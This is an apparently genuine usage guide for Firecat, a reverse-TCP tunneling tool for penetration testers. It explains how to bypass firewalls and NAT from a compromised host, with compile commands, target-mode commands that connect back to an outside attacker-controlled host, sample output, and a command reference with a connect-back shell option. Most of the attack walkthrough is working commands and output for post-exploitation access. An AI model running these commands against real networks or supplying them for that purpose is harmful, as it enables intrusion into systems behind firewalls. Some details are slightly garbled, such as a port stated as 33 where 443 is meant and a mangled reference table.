

# **Firecat – Tool Overview**

Last Saved: 9/27/2013 3:23 PM

## Introduction

Firecat allows you to punch reverse TCP tunnels out of a compromised network. After a tunnel is established, you can connect from an external host to any port on any system inside the compromised network, even if the network is behind a NAT gateway and/or strict firewall. This can be useful for a number of purposes, including gaining Remote Desktop access to the internal network NAT'd IP address (e.g. 192.168.1.10) of a compromised web server.

## Downloads

Firecat is written in C and has been tested on Linux, Solaris, iOS, Mac OS X, and Windows XP/Vista/2k/2k3/2k8.

Firecat Downloads	
v1.6 source code:	firecat1.6.c
Windows 32-bit executable:	firecat-win32.exe
Windows 64-bit executable:	firecat-win64.exe
Linux x86 executable:	firecat-linux-x86
Linux x64 executable:	firecat-linux-x64
iOS ARM binary (for jailbroken iPad / iPhone):	firecat-iOS
Debian Linux ARMv5 binary:	firecat-debian-ARMv5

To compile on Windows using MinGW:

gcc -o firecat.exe firecat.c -lwsock32

To compile on Unix:

gcc -o firecat firecat.c

#### \* Note on connecting to Remote Desktop via Firecat:

Don't use built-in Windows RDesktop client, it has weird issues with Firecat. Instead use the free, lean MultiDesk:

<u>http://www.hoowi.com/multidesk/</u>

## How Does It Work?

Flashback a decade or so and you will recall that it was common to find hosts that were not firewalled properly (or at all) from the Internet. You could compromise a host, bind shellcode to a port, and use netcat or some other tool to take interactive command-line control of the target.

These days things are different. It is often the case that TCP/IP packets destined for a host are strictly filtered by ingress firewall rules. Often matters are further complicated by the fact that the target host is located behind a NAT gateway:



Figure 1 - Typical production environments use strict firewall rulesets.

Tight firewall rules reduce the attack surface of the target environment, but attacks such as SQL injection still make it possible to execute arbitrary code on even the most strictly firewalled servers. However, unless the consultant can also take control of the firewall and alter the ruleset, it is impossible to connect directly to internal network services other than those allowed by the firewall.

That's where Firecat comes in to play. Assuming you can execute commands on a host in a DMZ and further assuming that the host can initiate outbound TCP/IP connections to the consultant's computer, Firecat makes it possible for the consultant to connect to any port on the target host, and often any port on any host inside the DMZ. It does this by creating a reverse TCP tunnel through the firewall and using the tunnel to broker arbitrary TCP connections between the consultant and hosts in the target environment. In addition to creating arbitrary TCP/IP tunnels into DMZ networks, it can also be used to pop connect-back shells from compromised DMZ hosts such as web or SQL servers.

It works because the target system is the one that initiates the TCP connection back to the consultant, not the other way around. Firecat runs in "target" mode on the target, and "consultant" mode on the consultant's system, effectively creating a tunnel between the two endpoints. Once the tunnel is established, the consultant connects to their local Firecat daemon which instructs the remote Firecat daemon to initiate a connection to the desired host/port behind the firewall. The two Firecat daemons then tunnel the data between the consultant and the target to create a seamless, transparent bridge between the two systems; thus completely bypassing the firewall rules. Firecat even works on hosts behind NAT firewalls.

Broken down into logical steps, and using the IP addresses in the diagrams, the process works as follows:

- 1) Firecat (consultant) listens on 202.1.1.1:4444
- 2) Firecat (target) connects to 202.1.1.1:4444

3) A tunnel is established between the two hosts



Figure 2 - A tunnel is established between the two hosts.

- 4) Firecat (consultant) listens on 202.1.1.1:3389
- 5) Consultant connects a remote desktop client to 202.1.1.1:3389
- 6) Firecat (consultant) tells Firecat (target) that a new session has been started
- 7) Firecat (target) connects to 192.168.0.1:3389
- 8) Firecat (target) tells Firecat (consultant) that it's now connected locally
- 9) Both Firecat instances begin to tunnel data between the consultant's remote desktop client and the target's remote desktop server, making it appear to the remote desktop client that it is directly connected to the target.



Figure 3 - With tunneling, it appears as if there is no firewall between the consultant and the target.

## Example Usage

Let's say we want to carry out the tunneling procedure as described in the above diagrams, and connect to the remote desktop service (TCP port 3389) of our target host, an IIS web server. The firewall allows only port 80/TCP to pass from the internet to the target server. The target

server has an internal IP address of 192.168.0.1, NAT'd by the firewall. The target is allowed by the firewall to make outbound connections to port 443/TCP on the internet. Our system (202.1.1.1) isn't firewalled and is directly connected to the internet.

First, we start a Firecat daemon on our own system. The "-m 0" flag tells Firecat that we're running in consultant mode. The "-t 443" flag tells Firecat to listen on port 33 for connections from the compromised target. The "-s 3389" flag tells Firecat to listen on port 3389 for a connection from the consultant; we'll come to that in a minute. The command line looks like this:

```
firecat -m 0 -t 443 -s 3389
[+] Consultant: Waiting for the remote target to establish the tunnel
on port 443
```

We now start a Firecat daemon on the remote system. The -"m 1" flag tells Firecat we're in target mode, the "-h 202.1.1.1" specifies the IP address of our computer, and "-s 3389" specifies that we'll be using this tunnel to connect to port 3389 of the compromised web server:

```
firecat -m 1 -t 443 -h 202.1.1.1 -s 3389
[+] Target: Establishing tunnel with remote host on 202.1.1.1:443
[+] Target: Tunnel is up, waiting for client to connect on remote
end...
```

Firecat connects from the target to port 443 of our computer. Our Firecat instance notifies us of the incoming connection (the incoming IP address will be that of the target network's NAT firewall, not the compromised host itself) and Firecat reports that the tunnel has been initialized successfully:

[+] Consultant: Got connection from remote target 1.2.3.4
[+] Consultant: Waiting for ACK...
[+] Consultant: Received ACK, tunnel is established
[+] Consultant: Waiting for local client connection on port 3389

At this point, both Firecat instances go to sleep until we start a remote desktop client and connect to localhost:3389. When that happens, the local Firecat informs the remote Firecat, which in turn initiates a connection to the target on port 3389. Data sent from the RDP server is relayed via the Firecat tunnel back to our RDP client, and vice versa. That's it: we have established a tunnel that allows us to initiate an RDP session with the compromised host behind the NAT firewall. Our local Firecat instance displays the good news:

```
[+] Consultant: Got connection from local client 127.0.0.1
```

[+] Consultant: Telling remote target host...

```
[+] Consultant: WoOt! Shoveling data across the tunnel... press CTRL-C to abort
```

#### The target end displays:

[+] Target: Client has connected on the remote end
[+] Target: Connecting to local service port 3389
[+] Target: Connected to service port localhost:3389
[+] Target: Shoveling data across the tunnel...

The tunnel is established and the two endpoints communicate transparently via Firecat until either the session is closed by the RDP client or server, or one of the Firecat instances is killed.

# Appendix A – Firecat Cmdline Reference

H:\Firecat>firecat FireCat v1.6 - Cop	t <b>-win32.exe</b> pyright 2008-2011 Stach & Liu
Usage: firecat -m	<mode> [options]</mode>
-m <mode></mode>	0 = consultant, 1 = target
In consultant mode:	
-t <port> -s <port></port></port>	Wait for incoming connections from target on this port Wait for incoming connections from you on this port Connections to this port will be forwarded over tunnel
In target mode:	
-h <host> -t <port> -H <target></target></port></host>	Connect back to <host> (your IP) Connect back to TCP <port> on <host> (optional) Connect to <target> inside the target network Default: localhost</target></host></port></host>
-e or	Throw a connect-back shell to <host>:<port> on your box</port></host>
-s <port></port>	Create a tunnel to <target>:<port> inside the target network</port></target>